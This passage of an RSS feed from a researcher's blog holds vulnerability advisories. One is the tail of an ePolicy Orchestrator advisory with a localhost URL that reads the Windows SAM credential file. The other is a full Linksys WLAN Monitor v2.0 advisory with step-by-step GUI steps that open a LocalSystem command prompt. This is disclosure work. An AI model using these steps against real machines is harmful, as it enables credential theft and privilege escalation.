<p>http://127.0.0.1:8081/Test/WINDOWS/repair/sam</p>
<p>The contents of the restricted file will be displayed thanks to the<br />
LocalSystem account.</p>
<p>Discovered by Reed Arvin reedarvin[at]gmail[dot]com<br />
(http://reedarvin.thearvins.com/)</p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-network-associates-epolicy-orchestrator-agent-3-5-0-patch-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Privilege escalation in Linksys WLAN Monitor v2.0.</title>
		<link>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-linksys-wlan-monitor-v2-0/</link>
		<comments>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-linksys-wlan-monitor-v2-0/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 05:39:19 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Advisories]]></category>

		<guid isPermaLink="false">http://reedarvin.scraprblog.com/?p=98</guid>
		<description><![CDATA[08.10.2005
Summary:
Privilege escalation in Linksys WLAN Monitor v2.0 (http://www.linksys.com/).
Details:
The Linksys WLAN Monitor service (WLSVC) that is used to configure settings for various Linksys wireless network cards runs under the context of the LocalSystem account. It is possible to manipulate the administrative interface of the Linksys WLAN Monitor and escalate privileges to that of the LocalSystem account.
Vulnerable [...]]]></description>
			<content:encoded><![CDATA[<p>08.10.2005</p>
<p>Summary:<br />
Privilege escalation in Linksys WLAN Monitor v2.0 (http://www.linksys.com/).</p>
<p><span id="more-98"></span>Details:<br />
The Linksys WLAN Monitor service (WLSVC) that is used to configure settings for various Linksys wireless network cards runs under the context of the LocalSystem account. It is possible to manipulate the administrative interface of the Linksys WLAN Monitor and escalate privileges to that of the LocalSystem account.</p>
<p>Vulnerable Versions:<br />
Linksys WLAN Monitor v2.0 (for the WUSB54G wireless NIC and possibly other wireless NICs)</p>
<p>Patches/Workarounds:<br />
The vendor was notified of the issue. There was no response as to whether or not a patch/fix would be released.</p>
<p>Exploits:</p>
<p>1. Right click on the Linksys Wireless Network Monitor in the lower right corner<br />
of the screen and click Open the Monitor.</p>
<p>2. Click the Profiles tab and click Import.</p>
<p>2. Right click on the Open button and click What&#8217;s This?</p>
<p>3. Right click on the help text that is shown in yellow and click Print Topic.</p>
<p>4. Right click on any printer and click Open.</p>
<p>5. Click Help, Help Topics.</p>
<p>6. Right click in the right side of the help screen and click View Source.</p>
<p>7. Notepad will appear (running under the context of the LocalSystem account).<br />
Click File, click Open.</p>
<p>8. Change Files of type: to All Files, navigate to the system32 directory and<br />
locate cmd.exe. Right click cmd.exe and choose Open.</p>
<p>The result is a command prompt running under the context of the LocalSystem<br />
account.</p>
<p>Discovered by Reed Arvin reedarvin[at]gmail[dot]com<br />
(http://reedarvin.thearvins.com/)</p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-linksys-wlan-monitor-v2-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
